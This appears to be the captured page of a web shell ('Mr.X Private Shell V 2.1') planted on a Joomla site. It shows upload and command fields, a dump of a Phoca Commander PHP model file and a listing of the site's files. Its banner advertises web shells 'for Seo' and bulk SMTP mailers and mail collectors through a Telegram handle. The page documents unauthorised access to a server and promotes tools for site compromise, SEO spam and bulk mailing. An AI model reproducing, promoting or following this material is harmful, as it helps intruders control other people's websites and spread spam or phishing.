__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/* @package Joomla
 * @copyright Copyright (C) Open Source Matters. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * @extension Phoca Extension
 * @copyright Copyright (C) Jan Pavelka www.phoca.cz
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
 */
defined( '_JEXEC' ) or die();
use Joomla\CMS\MVC\Model\ListModel;
use Joomla\CMS\Factory;
jimport( 'joomla.application.component.modellist' );
jimport( 'joomla.filesystem.folder' );
jimport( 'joomla.filesystem.file' );

class PhocaCommanderCpModelPhocaCommanderFilesA extends ListModel
{
	protected	$option 		= 'com_phocacommander';
	/*
	public function checkState($panel, $ordering, $direction, $panelA, $panelB) {
		$app = Factory::getApplication('administrator');

		if ($direction == '') {
			$direction = $app->getUserStateFromRequest( $this->context.$panel.'direction', 'direction' );
		} else {
			$direction = $app->getUserStateFromRequest( $this->context.$panel.'direction', 'direction', $direction, 'string' );
		}

		$this->setState('direction', $direction);

		if ($ordering == '') {
			$ordering = $app->getUserStateFromRequest($this->context.$panel.'.ordering', 'ordering');
		} else {
			$ordering = $app->getUserStateFromRequest($this->context.$panel.'.ordering', 'ordering', $ordering, 'string');
		}

		$this->setState('ordering', $ordering);

		if ($panelA == '') {
			$panelA = $app->getUserStateFromRequest($this->context.$panel.'.panela', 'panela');
		} else {
			$panelA = $app->getUserStateFromRequest($this->context.$panel.'.panela', 'panela', $panelA, 'string');
		}

		$this->setState('panela', $panelA);

		if ($panelB == '') {
			$panelB = $app->getUserStateFromRequest($this->context.$panel.'.panelb', 'panelb');
		} else {
			$panelB = $app->getUserStateFromRequest($this->context.$panel.'.panelb', 'panelb', $panelB, 'string');
		}

		$this->setState('panelb', $panelB);
	}*/

	public function sortItems (&$array, $key, $dir = 'ASC') {
		$sorter=array();
		$ret=array();
		reset($array);
		foreach ($array as $ii => $va) {
			$sorter[$ii]=$va[$key];
		}
		if ($dir == 'ASC') {
			asort($sorter);
		} else {
			arsort($sorter);
		}

		foreach ($sorter as $ii => $va) {
			$ret[$ii]=$array[$ii];
		}
		$array=$ret;
	}


}
?>

Filemanager

Name Type Size Permission Actions
fields Folder 0775
forms Folder 0775
index.html File 44 B 0664
phocacommandercp.php File 1.08 KB 0664
phocacommanderedit.php File 3.61 KB 0664
phocacommanderfilesa.php File 2.21 KB 0664
Filemanager